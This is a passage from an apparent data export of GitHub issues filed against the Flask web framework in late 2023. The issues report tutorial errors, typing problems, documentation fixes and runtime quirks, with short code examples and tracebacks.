pallets/flask,2060928389,"I'm seeing ""GET /socket.io/?EIO=3&transport=polling&t=OozzqO3 HTTP/1.1"" 404 errors running a simple flask app","I created a ""Hello World"" flask app (which can be found here: https://github.com/dhylands/flask-hello/tree/main

If I create a virtual environment and install flask and then do `flask run` I get the following output:
```
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:5000
Press CTRL+C to quit
127.0.0.1 - - [30/Dec/2023 19:42:28] ""GET /socket.io/?EIO=3&transport=polling&t=OozzqO3 HTTP/1.1"" 404 -
127.0.0.1 - - [30/Dec/2023 19:42:33] ""GET /socket.io/?EIO=3&transport=polling&t=OozzrcF HTTP/1.1"" 404 -
127.0.0.1 - - [30/Dec/2023 19:42:33] ""GET /socket.io/?EIO=3&transport=polling&t=OozzrcI HTTP/1.1"" 404 -
127.0.0.1 - - [30/Dec/2023 19:42:38] ""GET /socket.io/?EIO=3&transport=polling&t=OozzsqT HTTP/1.1"" 404 -
```

<!--
Describe the expected behavior that should have happened but didn't.
-->

I'd expect to not see errors/warnings about socket.io

Environment:
 - Pop_OS! (aka ubuntu) 22.04 LTS
- Python version:  Python 3.10.12
- Flask version: 3.0.0

pip freeze reports:
```
blinker==1.7.0
click==8.1.7
Flask==3.0.0
itsdangerous==2.1.2
Jinja2==3.1.2
MarkupSafe==2.1.3
Werkzeug==3.0.1
```",,2023-12-31T03:47:40Z,2023-12-31T04:11:31Z,2
pallets/flask,2059048809,Edit required in documentation: https://flask.palletsprojects.com/en/3.0.x/patterns/javascript/ #Replacing Content,"<!--
This is code example given in documentation:

<div id=""geology-fact"">
    {{ include ""geology_fact.html"" }}
</div>
-->

<!--
The inner curly braces should be replaced with percentage signs:
<div id=""geology-fact"">
    {% include ""geology_fact.html"" %}
</div>
-->

<!--
The example code is meant to allow a portion of the content to be replaced. The current version with double curly brackets results in a error when running. The documentation needs to be updated to reflect the correct syntax.
-->

Environment:

- Python version:
- Flask version: 3.0.x
",,2023-12-29T04:16:19Z,2023-12-29T04:38:13Z,0
pallets/flask,2054888909,Application Setup Tutorial doesn't work,"### Description
If you try to run the Flask application by following this tutorial it doesn't work: https://flask.palletsprojects.com/en/3.0.x/tutorial/factory/

### Suggested solution
In my personal project, I created an app.py file and in there I pasted the following code:

```
from flaskr import create_app

app = create_app()

if __name__ == '__main__':
    app.run()
```
    
I run this file and the Flask app can initialize.",,2023-12-23T20:21:04Z,2023-12-23T20:38:22Z,1
pallets/flask,2053204942,GPU performance issues of flask framework,"When I loaded an ultralytics YOLO model outside the framework, I read the image from the client in a request processing function and performed inference. I found that the inference speed was 10 times slower than normal.
I don’t have this problem when I use fastapi.

```python
from flask import Flask, request

from ultralytics import YOLO
import cv2
import numpy
import base64
model = YOLO(""/workspace/yolov8s.pt"")
def b64_cv(frame_b64):
    return cv2.imdecode(numpy.frombuffer(base64.b64decode(frame_b64), numpy.uint8), cv2.IMREAD_COLOR)

app = Flask(__name__)

@app.route('/frame', methods=['POST'])
def read_item():
    data = request.json
    frame = data.get('frame', None)
    
    results = model(source=b64_cv(frame))

    return {}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)
```

```python
import requests
import cv2
import numpy
import base64

def cv_b64(frame_cv):
    return str(base64.b64encode(cv2.imencode("".jpg"", frame_cv)[1]))[2:-1]

while True:
    stream = cv2.VideoCapture(""/workspace/road_30_1920x1080.mp4"")
    while stream.isOpened():
        ret, frame = stream.read()
        if not ret: break

        data = {""frame"": cv_b64(frame)}
        response = requests.post(url=""http://127.0.0.1:8000/frame"", json=data)

```

Environment:

- Python version: 3.10.12
- Flask version: 3.0.0
",,2023-12-22T00:22:59Z,2023-12-22T01:55:38Z,0
pallets/flask,2045435506,Getting Error - TemplateNotFound(template),"Getting below error though I placed the templates in right place and right directory.

""jinja2.exceptions.TemplateNotFound: auth/register.html""


I followed the instructions until the end of below page and tried to run my flask app
https://flask.palletsprojects.com/en/3.0.x/tutorial/templates/

Got the above error.



Expected to see register page without any errors
http://127.0.0.1:5000/auth/register


Environment:

- Python version: 3.11
- Flask version: 3.0.0
",,2023-12-18T00:00:19Z,2023-12-18T00:01:57Z,0
pallets/flask,2038740869,cli::ScriptInfo in versions >2.2.0 does not read FLASK_APP environment variable when invoked from command line,"<!--
https://github.com/pallets/flask/commit/99fa3c36abc03cd5b3407df34dce74e879ea377a#diff-fed8939d1905b99bba605ad91e9ccdf5ede6223e03ccbc3f0121853035051e62L343 removed the ability to invoke CLI commands directly using `python -m`
-->

https://github.com/pallets/flask/commit/99fa3c36abc03cd5b3407df34dce74e879ea377a#diff-fed8939d1905b99bba605ad91e9ccdf5ede6223e03ccbc3f0121853035051e62L343 removed the ability to invoke CLI commands directly using `python -m` by setting `FLASK_APP`

Pre 2.2.0 this works
```
$ FLASK_APP=myapp.commands.foo python3 -m myapp.commands.foo US
```
-->

After 2.2.0 it fails like

```
$ FLASK_APP=myapp.commands.foo python3 -m myapp.commands.foo US

'FLASK_ENV' is deprecated and will not be used in Flask 2.3. Use 'FLASK_DEBUG' instead.
Usage: python -m myapp.commands.foo 
           [OPTIONS] COUNTRY_CODE
Try 'python -m mayapp.commands.foo --help' for help.

Error: Could not locate a Flask application. Use the 'flask --app' option, 'FLASK_APP' environment variable, or a 'wsgi.py' or 'app.py' file in the current directory.
```

This is especially confusing because Flask was able to parse CLI options.

E.g. of a file `myapp.commands.foo.py`

```python
import click
from flask import Flask

app = Flask(__name__)

@app.cli.command(""foo"")
@click.argument(""country_code"")
def main(country_code: str, **kwargs):
    print(""I want this to work so bad"")


if __name__ == ""__main__"":
    main()
```


Expected behavior:
[Scr... [TRUNCATED]",,2023-12-13T00:25:07Z,2023-12-13T01:22:39Z,1
pallets/flask,2036065551,Can't run tests without installing it,"An attempt to run test without installing flask leads to fail:
```
:info:test cls = <class 'importlib.metadata.Distribution'>, name = 'flask'
:info:test     @classmethod
:info:test     def from_name(cls, name):
:info:test         """"""Return the Distribution for the given package name.
:info:test     
:info:test         :param name: The name of the distribution package to search for.
:info:test         :return: The Distribution instance (or subclass thereof) for the named
:info:test             package, if found.
:info:test         :raises PackageNotFoundError: When the named package's distribution
:info:test             metadata cannot be found.
:info:test         """"""
:info:test         for resolver in cls._discover_resolvers():
:info:test             dists = resolver(DistributionFinder.Context(name=name))
:info:test             dist = next(dists, None)
:info:test             if dist is not None:
:info:test                 return dist
:info:test         else:
:info:test >           raise PackageNotFoundError(name)
:info:test E           importlib.metadata.PackageNotFoundError: flask
:info:test /opt/local/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/importlib/metadata.py:177: PackageNotFoundError
:info:test ========================================================================================== short test summary info ==========================================================================================
:info:test FAILED tests/test... [TRUNCATED]",,2023-12-11T16:32:58Z,2023-12-11T17:39:08Z,1
pallets/flask,2035317544,JavaScript .js file content type default is text/javascript but could be application/javascript,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

Replication: serve a static `.js` file from a directory.


```
$ cat app.py
from flask import Flask, send_from_directory

app = Flask(__name__)

@app.route(""/static/<path:path>"")
def route_static(path):
    """"""/static/""""""
    return send_from_directory(""static"", path)

if __name__ == ""__main__"":
    app.run(debug=True)

```

```
cat static/x.js 
/*example*/

```


<!--
Describe the expected behavior that should have happened but didn't.
-->

The behavior I get is 
```
Content-Type
	text/javascript; charset=utf-8
```

I would expect
```
Content-Type
	application/javascript; charset=utf-8
```

See https://stackoverflow.com/a/189877/1320237

---

Environment:

- Python version: 3.11.6
- Flask version: 3.0.0

```
$ pip list
Package      Version
------------ -------
blinker      1.7.0
click        8.1.7
Flask        3.0.0
itsdangerous 2.1.2
Jinja2       3.1.2
MarkupSafe   2.1.3
pip          23.2
setuptools   68.2.2
Werkzeug     3.0.1
wheel        0.41.2
```
",,2023-12-11T10:18:02Z,2023-12-11T13:42:49Z,1
pallets/flask,2031892232,Tutorial Database code doesn't work,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
Follow the Tutorial doc through the ""Define and Access the Database"" doc. When you try and initialize the db, you will be greeted with an error

`AttributeError: 'AppGroup' object has no attribute 'add_command'`

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:
",,2023-12-08T04:06:04Z,2023-12-08T04:44:09Z,1
pallets/flask,2028625504,jsonify does not support integer keys,"The snippets below are self-descriptive and reflect the problem mentioned in the title.

Expected behavior: jsonify builds a response irrespective of the key/value data types (at least for basic types like int and str)  

Actual behavior: keys of type `int` break `jsonify`  

Personal suggestion: just typecast to str, but issue a warning


Minimal code to reproduce the issue:

```
from flask import Flask, jsonify
import json

d={32: ""aa"", ""something"":""else""}

print(json.dumps(d)) # works # <-------

app = Flask('app')

# app.config['JSON_SORT_KEYS'] = False  #<-- makes no difference

with app.app_context():
    print(jsonify(d)) # b0rks # <-------
```


Error log:
```
TypeError                                 Traceback (most recent call last)
<ipython-input-12-d8fbf48063d9> in <module>
      1 with app.app_context():
----> 2     jsonify(d)
      3

~/.local/lib/python3.10/site-packages/flask/json/__init__.py in jsonify(*args, **kwargs)
    168     .. versionadded:: 0.2
    169     """"""
--> 170     return current_app.json.response(*args, **kwargs)

~/.local/lib/python3.10/site-packages/flask/json/provider.py in response(self, *args, **kwargs)
    213
    214         return self._app.response_class(
--> 215             f""{self.dumps(obj, **dump_args)}\n"", mimetype=self.mimetype
    216         )

~/.local/lib/python3.10/site-packages/flask/json/provider.py in dumps(self, obj, **kwargs)
    178         kwargs.setdefault(""ensure_asci... [TRUNCATED]",,2023-12-06T13:59:05Z,2023-12-06T14:55:56Z,1
pallets/flask,2024425400,Cannot import Markup from flask (v3.0.0) ,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

As [previously reported](https://github.com/pallets/flask/issues/5084). 

### A

```python
import flask

print(flask.Markup('hi'))
```

 

```text
Traceback (most recent call last):
  File ""/tmp/fl/mu1.py"", line 3, in <module>
    print(flask.Markup('hi'))
  File ""/tmp/fl/.venv/lib/python3.10/site-packages/flask/__init__.py"", line 60, in __getattr__
    raise AttributeError(name)
AttributeError: Markup
```

### B
```python
from flask import Markup

print(Markup('hi'))
```
 
```
Traceback (most recent call last):
  File ""/tmp/fl/mu2.py"", line 1, in <module>
    from flask import Markup
ImportError: cannot import name 'Markup' from 'flask' (/tmp/fl/.venv/lib/python3.10/site-packages/flask/__init__.py)
```

<!--
Describe the expected behavior that should have happened but didn't.
-->



Environment:

- Python version: 3.10.12
- Flask version: 3.0.0
- (and flask-misaka-1.0.0 but I don't think that's relevant) 
",,2023-12-04T18:01:45Z,2023-12-04T18:07:20Z,1
pallets/flask,2012043860,flask -A flaskr init-db Error: Could not import 'flaskr.flaskr'.  Usage: flask [OPTIONS] COMMAND [ARGS]... Try 'flask --help' for help.  Error: No such command 'init-db'.,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

-->
Following the tutorial in the website. When I ran flask --app flaskr init-db, it returned the error
<!--
Initialized the database.
-->

Environment:

- Python version: 3.12.0
- Flask version: Flask==3.0.0
",,2023-11-27T11:13:48Z,2023-11-27T14:39:45Z,2
pallets/flask,2012008928, cannot import name '_request_ctx_stack' from 'flask',"
I am trying to run my webserver with Flask and Flask-Socket.io I have set up socket.io and flask right but for some reason when running it with Docker. I get the error: cannot import name '_request_ctx_stack' from 'flask'.  Am using Flask version 2.3.3 and the latest Flask-Socket.io



Install both Flask and Flask-Socket.io create a Dockerfile to build the app and add docker-compose to handle the build using docker-compose up. 

Here's the code you can use:
```
from flask import Flask

from flask_socketio import SocketIO
from src.db.init import DbInit
from src.manager.sockets import SocketManager
from src.routes import heath_route as hr
from src.routes import docs_routes as dr
from src.routes import query_route as qr
from decouple import config

app = Flask(__name__)

# Register the blueprints
app.register_blueprint(hr.health_bp, url_prefix='/api')
app.register_blueprint(dr.files_bp, url_prefix='/api')
app.register_blueprint(qr.query_bp, url_prefix='/api')

# SocketIO.app(socketio, app=app, path=""/io"", cors_allowed_origins=""*"")
socketio = SocketIO(app, cors_allowed_origins=""*"")
db = DbInit.get_instance()
manager = SocketManager(socketio, db)


def start_app():
    """"""Start the application""""""
    port = config(""PORT"", 5050)
    host = config(""HOST"", ""0.0.0.0"")
    env = config(""ENVIRONMENT"", ""development"")
    if env == ""development"":
        socketio.run(host=host, app=app, port=port, debug=True, use_reloader=True)
    else:
        so... [TRUNCATED]",,2023-11-27T10:53:55Z,2023-11-27T11:53:39Z,6
pallets/flask,2010932683,Code style inconsistency,"https://github.com/pallets/flask/blob/main/src/flask/cli.py#L724

In cli.py `{var_name!r}` style to wrap variables values in quotes is everywhere except the line 724",,2023-11-26T07:35:07Z,2023-11-26T14:18:28Z,0
pallets/flask,2010144893,The double quote is missing in the string,"https://github.com/pallets/flask/blob/d61198941adcb191ddb591f08d7d912e40bde8bc/src/flask/cli.py#L798

There is no double quote in the first argument of `click.BadParameter` `""--key is not used`.",docs,2023-11-24T19:18:05Z,2023-12-13T23:06:57Z,0
pallets/flask,2009640209,Add OpenAPI functionality ,"
As of today, Fast api and Flask are more preferred framework to develop microservice and service mesh architecture. 
Flask is more preferred for below points:
1. microservice architecture
2. more extension available in community than others as its bit matured.  

I really like the simplicity flask has. But in recent days Flask is loosing to FastAPI.

Biggest CON of flask is its **incompatibility** with OpenAPI/documentation capability. 
Being an Architect, my whole org has moved to FastAPI for a simple reason OpenAPI integration and documentation. As it helps us save on maintaining more than 30+ product API documentation. Earlier we were using 3rd party tools to maintain these documentation.    

It would really help flask gain more ability if we can add openapi specification just like fast api. 
I understand the same [feature request](https://github.com/pallets/flask/issues/4315) was raised in back in 2021 but I believe being in technology domain we have keep ourselves updated. Same goes with the web framework as well. 

To illustrate few, Django is adding capability to have microservice support. why? its to keep them updated with latest requirement.

Out of Django, Flask and FastAPI only Flask is not having OpenAPI support. 

I know there are library available in community which can do this but having it natively available in flask bring more confidence.   


Out of Django, Flask and FastAPI only Flask is not having OpenAPI support. I know there are li... [TRUNCATED]",,2023-11-24T12:21:43Z,2023-11-24T14:26:47Z,2
pallets/flask,1993088827,"Incompatible return value type: got ""werkzeug.wrappers.response.Response"", expected ""flask.wrappers.Response""","Environment:

- Python version: 3.11
- Flask version: 3.0.0
- mypy version: 1.5.1


Hey! I recently started migrating from Flask version 2.3.2 to version 3.0.0, and I've encountered some typing bugs while doing so.

I have a simple part of a code in my project:
```python
def redirect_to_uri(uri: str) -> flask.Response:
    return flask.redirect(uri)
```
But when I migrated to version 3.0.0, mypy started to raise an error during type checking, while everything was okay on version 2.3.2:

```
main/api/helpers.py: note: In function ""redirect_to_uri"":
main/api/helpers.py:74:12: error: Incompatible return value type (got ""werkzeug.wrappers.response.Response"", expected ""flask.wrappers.Response"")  [return-value]
        return flask.redirect(uri)
               ^~~~~~~~~~~~~~~~~~~
Found 1 error in 1 file (checked 29 source files)
```

I've found an old issue that could possibly help solve the described problem https://github.com/pallets/flask/issues/4600

Have a nice day:)",typing,2023-11-14T16:20:43Z,2023-12-13T23:47:09Z,5
pallets/flask,1984035139,Can we  create a database that  collect just integers,"The database will calculate and increase the number by 1 like the one of replit

```python  
          db = [ ]
if number not in db:
    number +=1
   db.append(number)
```",,2023-11-08T16:59:56Z,2023-11-08T17:01:17Z,2
pallets/flask,1977580223,ResponseValue Typing issue,"This is not a runtime bug but a typing issue. In `flask.typing`, `ResponseValue` does not accept `AsyncIterator[str]`.

I am using `quart-trio`, which itself uses `quart`, which uses `flask`.
`quart.templating.stream_template` returns `AsyncIterator[str]`, and when running mypy on my project I get the following error:
```
error: Value of type variable ""T_route"" of function cannot be ""Callable[[], Coroutine[Any, Any, AsyncIterator[str] | Response]]""  [type-var]
```

Example usage:
```python
__title__ = ""Example Server""
__author__ = ""CoolCat467""

from quart.templating import stream_template
from quart_trio import QuartTrio
import trio
from os import path, makedirs
import functools
import logging
from quart import Response
from typing import Final
from logging.handlers import TimedRotatingFileHandler
from collections.abc import AsyncIterator
from hypercorn.config import Config
from hypercorn.trio import serve


DOMAIN: str | None = None#getenv(""DOMAIN"", None)

FORMAT = ""[%(asctime)s] [%(levelname)s] %(message)s""

ROOT_FOLDER = trio.Path(path.dirname(__file__))
CURRENT_LOG = ROOT_FOLDER / ""logs"" / ""current.log""

if not path.exists(path.dirname(CURRENT_LOG)):
    makedirs(path.dirname(CURRENT_LOG))

logging.basicConfig(format=FORMAT, level=logging.DEBUG, force=True)
logging.getLogger().addHandler(
    TimedRotatingFileHandler(
        CURRENT_LOG,
        when=""D"",
        backupCount=60,
        encoding=""utf-8"",
        utc=True,
    ... [TRUNCATED]",typing,2023-11-05T01:08:03Z,2024-10-31T03:54:16Z,6
pallets/flask,1977004072,flask.send_file() with Pylance in strict mode shows reportUnknownMemberType,"I was using this method fine, until I switched on 'strict' mode in the Pylance plugin for vscode. This gave me the error at calling the method:

```
Type of ""send_file"" is partially unknown
  Type of ""send_file"" is ""(path_or_file: PathLike[Unknown] | str | BinaryIO, mimetype: str | None = None, as_attachment: bool = False, download_name: str | None = None, conditional: bool = True, etag: bool | str = True, last_modified: datetime | int | float | None = None, max_age: int | ((str | None) -> (int | None)) | None = None) -> Response"" 
```
Code that causes the error:
```
@app.route('/')
def home():
    return flask.send_file('web/index.html')
```
The error sits on: ""flask.send_file""

I've been trying to infer this type and googled around, but can't seem to resolve this issue. having investigated ""PathLike[Unknown]"" for a while now looking into this, I've come to the conclusion that this issue is likely cause by the fact that PathLike requires a generic type to be declared.  If I manually (and temporary) add this generic type in, the error goes away.

In helpers.py (around line 391) I change:
```
def send_file(
    path_or_file: t.Union[os.PathLike, str, t.BinaryIO],
```
into:
```
def send_file(
    path_or_file: t.Union[os.PathLike[str], str, t.BinaryIO],
```
I've added the ""[str]"" generic type to PathLike. Possibly this might need to be ""[AnyStr]"" as that is the type declared in os.

I hope this is an easy fix, and that this isn't a user error that I ... [TRUNCATED]",typing,2023-11-03T22:23:00Z,2023-11-15T20:59:36Z,3
pallets/flask,1976315821,Auto-redirects breaks the connection,"If you send  a multi-part body request to the incorrect URL(when you forget a ""/"" at the end of URL eg), you will get redirected automatically. And it breaks the connection with uwsgi. 

I believe because it does not read the whole request body and it is required by uwsgi that the application needs to read the request body.

I get the file upload from the examples for Flask:

```python
import os
from flask import Flask, flash, request, redirect, url_for
from werkzeug.utils import secure_filename
import logging

UPLOAD_FOLDER = './upload'

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['SECRET_KEY'] = ""Your_secret_string""

@app.route('/stg/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        # check if the post request has the file part
        if 'file' not in request.files:
            flash('No file part')
            app.logger.warning('no file part')
            return redirect(request.url)
        file = request.files['file']
        # If the user does not select a file, the browser submits an
        # empty file without a filename.
        if file.filename == '':
            flash('No selected file')
            app.logger.warning('empty filename')
            return redirect(request.url)
        if file:
            filename = secure_filename(file.filename)
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return redirect(request.ur... [TRUNCATED]",,2023-11-03T14:23:55Z,2023-11-03T14:32:05Z,4
pallets/flask,1969940722,Typo in docs/tutorial/factory,"I was working through the tutorial and ran into a problem getting the example code to work.

It appears that you need to put a trailing backslash on this route for it to render.

---

```python
@app.route(""/hello"") # no trailing backslash
def hello():
    return ""Hello, World!""
```
This code returns:
![not_found_error](https://github.com/pallets/flask/assets/10804241/3fb97874-0fd0-4b13-b110-6b0feca66392)

---

```python
@app.route(""/hello/"") # with trailing backslash
def hello():
    return ""Hello, World!""
```
returns:
![hello_world](https://github.com/pallets/flask/assets/10804241/f5071e1d-594c-474a-9391-4ace7d7b8f4b)

Environment:

- Python version: 3.11.2
- Flask version: 3.0.0
",,2023-10-31T08:50:46Z,2023-10-31T13:50:04Z,1
pallets/flask,1966503429,Docs: outdated link to Hypercorn in asgi.rst,"Outdated link to Hypercorn at https://flask.palletsprojects.com/en/3.0.x/deploying/asgi/
Hypercorn moved from gitlab to github. See https://gitlab.com/pgjones/hypercorn/-/blob/main/README.rst

**How to replicate the bug.**
Go to https://flask.palletsprojects.com/en/3.0.x/deploying/asgi/
Click on Hypercorn.
You'll get to page https://gitlab.com/pgjones/hypercorn and see the messages:
- Quart has moved! See https://github.com/pgjones/hypercorn
- Hypercorn is now hosted at [github.com/pgjones/hypercorn](https://github.com/pgjones/hypercorn).",,2023-10-28T08:35:25Z,2023-10-28T15:42:55Z,0
pallets/flask,1964918433,Change color of output,"Hi I'm trying to configure color output for formatting, but I'm loosing this battle, I have no idea what you did with logger, but everything I try works on  ""clear"" logging, but not on logger coming with flask. Can you configure logs like this please ? Like, why python [""INFO""] log is red in console ? 

![image](https://github.com/pallets/flask/assets/19526670/1e89759e-beb8-4b66-a703-228033ba7c35)


This code works with logging, but not with flask.

```
class CustomFormatter(logging.Formatter):
    grey = ""\x1b[38;20m""
    yellow = ""\x1b[33;20m""
    red = ""\x1b[31;20m""
    bold_red = ""\x1b[31;1m""
    reset = ""\x1b[0m""
    format = ""%(asctime)s - %(name)s - %(levelname)s - %(message)s (%(filename)s:%(lineno)d)""

    FORMATS = {
        logging.DEBUG: grey + format + reset,
        logging.INFO: grey + format + reset,
        logging.WARNING: yellow + format + reset,
        logging.ERROR: red + format + reset,
        logging.CRITICAL: bold_red + format + reset
    }

    def format(self, record):
        print(record)
        log_fmt = self.FORMATS.get(record.levelno)
        formatter = logging.Formatter(log_fmt)
        return formatter.format(record)

logger = logging.getLogger(""tmp"")
logger.setLevel(logging.DEBUG)

# create console handler with a higher log level
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)

ch.setFormatter(CustomFormatter())

logger.addHandler(ch)

logger.info(""Hello"")
logger.error(""Hello"")
logger.deb... [TRUNCATED]",,2023-10-27T07:19:17Z,2023-10-27T13:52:14Z,0
pallets/flask,1959066478,Deprecated link for ProxyFix via Sphinx,"## Summary of Bug

The link to class `ProxyFix` in `Werkzeug` in the [Flask 3.0.x quickstart docs](https://flask.palletsprojects.com/en/3.0.x/quickstart/#hooking-in-wsgi-middleware), generated with ` :class:``~werkzeug.middleware.proxy_fix.ProxyFix`` `, is given as: 

https://werkzeug.palletsprojects.com/en/2.3.x/middleware/proxy_fix/#werkzeug.middleware.proxy_fix.ProxyFix

However, that link, linking to werkzeug 2.3.x is deprecated, and should instead link to 3.0.x I believe:

https://werkzeug.palletsprojects.com/en/3.0.x/middleware/proxy_fix#werkzeug.middleware.proxy_fix.ProxyFix

## Describe how to replicate the bug

I was not able to reproduce the bug. Building the docs locally gives the correct link (werkzeug 3.0.x). 

## Describe the expected behavior

The docs should build with the updated cross-link to `Proxyfix` in `Werkzeug`:

https://werkzeug.palletsprojects.com/en/3.0.x/middleware/proxy_fix#werkzeug.middleware.proxy_fix.ProxyFix

## Environment:

- Python version: 3.10.13
- Flask version: `main` branch: beedaa4eff3919f250fad49a5092cf07c4d638e1",,2023-10-24T11:40:21Z,2023-10-24T14:12:20Z,1
pallets/flask,1956585901,running Thread object cause twice running,"following code cause MyThread object running twice.

```python
import threading
import time
from flask import Flask

class MyThread(threading.Thread):
    def __init__(self):
        super().__init__()
        self.event = threading.Event()

    def run(self):
        print(""Hello"")


app = Flask(__name__)
t1 = MyThread()
t1.start()
app.run(host='0.0.0.0', port = 19001, debug = True)
```

set debug as False can avoid this problem but why is that? Is that a feature?",,2023-10-23T08:03:50Z,2023-10-23T08:07:56Z,2
pallets/flask,1955617189,Streaming data to multiple clients,"I'm not sure if this is a bug in flask or just what is to be expected.

In the following example, if 1 VLC client connects, the stream plays back smoothly.
If 2 or more clients connect, all streams fail to play back smoothly/properly.
As soon as the client connections goes back down to 1, the stream starts to playback properly.

```
import subprocess
from flask import (
    Flask,
    Response,
)

app = Flask(__name__)

stream = None


@app.route(""/play"", methods=[""GET""])
def channel():
    def createStream(ffmpegcmd):
        global stream
        print(""create stream"")
        stream = subprocess.Popen(
            ffmpegcmd,
            stdin=subprocess.DEVNULL,
            stdout=subprocess.PIPE,
            stderr=subprocess.DEVNULL,
        )

    def streamData():
        print(""stream data"")
        try:
            while True:
                chunk = stream.stdout.read(1024)
                if len(chunk) == 0:
                    break
                yield chunk
        except:
            pass

    if not stream:
        link = ""https://cph-p2p-msl.akamaized.net/hls/live/2000341/test/master.m3u8""

        ffmpegcmd = [
            ""ffmpeg"",
            ""-re"",
            ""-i"",
            link,
            ""-map"",
            ""0"",
            ""-codec"",
            ""copy"",
            ""-f"",
            ""mpegts"",
            ""pipe:"",
        ]

        createStream(ffmpegcmd)

    return Response(streamData(... [TRUNCATED]",,2023-10-21T18:34:26Z,2023-10-21T18:50:14Z,3
pallets/flask,1955359572,Getting a permanent redirect instead of executing the function on a URL with variables,"In my code I have the following:

```
@bp.post('/refresh', defaults={'mode': 'app'})
@bp.post('/refresh/<mode>')
def refresh_expiring_jwts(mode):
    if mode not in ['app', 'web']:
        raise NotFound
```
I would expect that when pointing a request to /refresh/app, I'd get refresh_expiring_jwts executed. Instead, I am getting back a permanent redirect to ""/refresh/"". I have checked the urls map and there are two rules pointing to the same method, one for /refresh and another for /refresh/<mode>. At the same time, I see that in the definition of Map (line, 99) is set to True, with this description for the parameter:
```python
    :param redirect_defaults: This will redirect to the default rule if it
                              wasn't visited that way. This helps creating
                              unique URLs.
```
This map is used in the initialization of MapAdapter, line 391, and then in then in line 628, for match():
```python
            if self.map.redirect_defaults:
                redirect_url = self.get_default_redirect(rule, method, rv, query_args)
                if redirect_url is not None:
                    raise RequestRedirect(redirect_url)
```
So... I think I am missing something here? What am I doing wrong?

Environment:

- Python version: 3.11.5
- Flask version: 3.0.0
",,2023-10-21T06:52:16Z,2023-10-21T18:50:30Z,1
pallets/flask,1951836061,"request.is_secure, Azure and X-ARR-SSL","This code will cause a redirect when ran on Azure Web App (possibly on other Azure services as well):

```
@app.before_request
def before_request():
    if not request.is_secure:
        url = request.url.replace('http://', 'https://', 1)
        code = 301
        print(""Redirecting to https"")
        return redirect(url, code=code)
```

because request.is_secure will return False.

I had to use this instead:

```
@app.before_request
def before_request():
    """"""Redirect to https and www-less.
    BEWARE that the value must be returned. Otherwise, the request'll continue.
    So extracting into subfunctions not necessarily convenient.
    """"""    
    if not secure_site():
        url = request.url.replace('http://', 'https://', 1)
        code = 301
        print(""Redirecting to https"")
        return redirect(url, code=code)

    host = request.headers.get('Host')
    if host.startswith('www.'):
        url = request.url.replace(f'{host}', f'{host[4:]}', 1)
        print(""Redirecting to www-less"")
        return redirect(url, code=301)

def secure_site():
    # Check if Flask thinks it's secure
    if request.is_secure:
        return True

    # Check for Azure's header indicating SSL termination at the load balancer
    # Because Flask does not know/handle this.
    if request.headers.get('X-ARR-SSL'):
        return True

    # Check for the header used by Heroku and others
    forwarded_proto = request.headers.get('X-Forward... [TRUNCATED]",,2023-10-19T10:30:10Z,2023-10-19T10:33:05Z,1
pallets/flask,1940821500,Pip,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:",,2023-10-12T21:31:08Z,2023-10-12T21:32:41Z,0
pallets/flask,1940475361,jinja2.exceptions.TemplateNotFound,"Hi.

I am discovering flask by following a tutorial on the web site : https://www.geeksforgeeks.org/flask-http-method/
I am trying to repeate the exercise but when I try to open the server after I have launched the Python script, it doesn't work. And I don't understand as I have created the ""templates"" directory, and put there the .html files.
Here are screenshots about my project and the issue.

Thanks for the help.

![page1](https://github.com/pallets/flask/assets/111196043/74566791-7ab6-4148-b49c-8b3fcebec02a)

![page2](https://github.com/pallets/flask/assets/111196043/e169f24e-75c3-44b3-b0e1-fe62f231ebe9)

![page3](https://github.com/pallets/flask/assets/111196043/ae217f00-9596-4f09-ac22-89647ab8fbc4)

![page4](https://github.com/pallets/flask/assets/111196043/b9004e6b-66f8-408c-b7a6-cae3036556f8)

![page5](https://github.com/pallets/flask/assets/111196043/4344fd61-84ae-4b89-8626-f2d134d222c3)

![page6](https://github.com/pallets/flask/assets/111196043/1669e1c2-4bd8-4119-999e-93531f1cbae5)

![page7](https://github.com/pallets/flask/assets/111196043/470c2fcb-1753-4079-b1fd-8ff8aee8a5a3)

",,2023-10-12T17:36:51Z,2023-10-12T18:08:05Z,0
pallets/flask,1928965817,Refactoring and improving documentation in tox.ini,"<!--
Improved the readability and organization of the dependency configuration by grouping all development dependencies from Pallets GitHub repositories under a 'dev' section. This change eliminates redundancy and makes it easier to manage and update development dependencies in the future.
-->

<!--
This problem is solvable without changes to Flask and should not provide any issues or conflicts!
-->
",,2023-10-05T19:57:47Z,2023-10-05T20:02:42Z,0
pallets/flask,1926864286,url_for() does not percent encode /,"url_for does not percent encode /

```
from flask import Blueprint, url_for, Flask


bp = Blueprint('test', __name__)

@bp.route('/bogus')
def bogus():
    pass

app = Flask(__name__)
